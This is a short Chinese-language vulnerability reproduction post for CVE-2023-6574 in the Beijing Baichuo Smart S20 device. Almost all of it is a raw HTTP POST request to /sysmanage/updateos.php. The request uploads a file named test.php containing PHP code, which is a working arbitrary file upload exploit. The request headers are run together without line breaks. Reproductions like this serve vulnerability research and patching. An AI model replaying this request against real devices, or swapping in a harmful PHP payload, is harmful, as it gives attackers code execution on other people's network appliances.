【漏洞复现】北京百绰智能S20高达20231120(CVE-2023-6574)

POST /sysmanage/updateos.php? HTTP/1.1Host: 127.0.0.1:8443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brContent-Type: multipart/form-data; boundary=---------------------------76347121319860467791763254962Content-Length: 3623Origin: https://127.0.0.1:8443Connection: keep-aliveReferer: https://127.0.0.1:8443/sysmanage/updateos.phpCookie: PHPSESSID=9fd20e6cc3b331a02ecd0e303e10730aUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1

-----------------------------76347121319860467791763254962Content-Disposition: form-data; name="1_file_upload"; filename="test.php"Content-Type: application/octet-stream<?php phpinfo();?>-----------------------------76347121319860467791763254962Content-Disposition: form-data; name="id_type"

1-----------------------------76347121319860467791763254962Content-Disposition: form-data; name="1_ck"

1_radhttp-----------------------------76347121319860467791763254962Content-Disposition: form-data; name="mode"

set-----------------------------76347121319860467791763254962--